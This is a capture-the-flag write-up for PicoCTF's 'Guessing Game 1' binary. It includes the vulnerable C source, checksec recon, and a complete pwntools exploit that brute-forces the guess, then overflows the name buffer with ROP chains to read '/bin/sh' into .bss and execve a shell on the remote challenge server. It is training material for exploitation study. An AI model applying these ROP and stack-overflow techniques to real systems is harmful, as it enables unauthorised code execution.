# PicoCTF - Guessing Game 1
## Background
ROP Chain
[Linux System Call Table for x86 64](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
## Source code
:::spoiler
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
```
:::
## Recon
1. Recon
```bash!
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=94924855c14a01a7b5b38d9ed368fba31dfd4f60, not stripped
$ checksec vuln
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/Guessing Game 1/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
可以看到這隻程式沒有用動態連結的方式引入library,代表他都把一些libc會用到的東西編譯進去了
2. 這支程式沒有明顯讀flag的地方,所以可以直覺想到要開shell,而main function的do_stuff subfunction主要應該是類似proof of work的部分(因為亂數的範圍也只要0-99),當猜對random的數值後就近到win function然後可以填一些東西,達到bof的效果
3. 所以也很直覺的想到one_gadget或是ROP chain的東西,這部分就比較傷腦筋,因為蓋的過程會有一點點繞,講白了這題和[^0x12_rop++]幾乎一模一樣,但因為太久沒看所以忘記了
4. 既然有bof,那我們就可以隨便的蓋rop chain,包括syscall read function,這也說明了如何寫`/bin/sh\x00`的問題
5. ==執行的順序:==
Guess random(PoW)$\to$
syscall __libc_read function$\to$
Input `/bin/sh\x00`$\to$
Return to main function$\to$
Guess random(PoW)$\to$
Syscall `execve` to get shell
Note: 要如何知道`.bss`段在哪裡可以用`readelf -S ./vuln`查看
## Exploit
```python
from pwn import *
import random
# r = process("./vuln")
r = remote("jupiter.challenges.picoctf.org", 39940)
context.arch = "amd64"
'''#############
Read /bin/sh by libc read function
#############'''
r.recvuntil(b'What number would you like to guess?\n')
while(1):
r.sendline(str(randint(1, 99)).encode())
tmp = r.recvline().strip().decode()
print(tmp)
if tmp != "Nope!":
success("You got it!!!")
break
r.recvuntil(b'What number would you like to guess?\n')
print(r.recvuntil(b'Name? '))
pop_rax_ret = 0x4163f4
pop_rdi_ret = 0x400696
pop_rdx_ret = 0x44a6b5
pop_rsi_ret = 0x410ca3
main_fun_addr = 0x400c8c
libc_read_addr = 0x44a6a0
write_2_bss = 0x6b7000
syscall = 0x40137c
ROP_payload = flat(
pop_rdi_ret, 0,
pop_rsi_ret, write_2_bss,
pop_rdx_ret, 9,
libc_read_addr,
main_fun_addr
)
# raw_input()
r.sendline(b'a' * 0x78 + ROP_payload)
r.sendline(b'/bin/sh\x00')
'''#############
Execute shell
#############'''
r.recvuntil(b'What number would you like to guess?\n')
while(1):
r.sendline(str(randint(1, 99)).encode())
tmp = r.recvline().strip().decode()
print(tmp)
if tmp != "Nope!":
success("You got it!!!")
break
r.recvuntil(b'What number would you like to guess?\n')
print(r.recvuntil(b'Name? '))
ROP_payload = flat(
pop_rax_ret, 0x3b,
pop_rdi_ret, write_2_bss,
pop_rsi_ret, 0,
pop_rdx_ret, 0,
syscall
)
# raw_input()
r.sendline(b'a' * 0x78 + ROP_payload)
r.interactive()
```
## Reference
[PicoCTF - Guessing Game 1 [Pwn]](https://cyb3rwhitesnake.medium.com/picoctf-guessing-game-1-pwn-bdc1c87016f9)
[^0x12_rop++]:[Simple PWN - 0x12(Lab - rop++)](https://hackmd.io/@SBK6401/rysBjQfjs)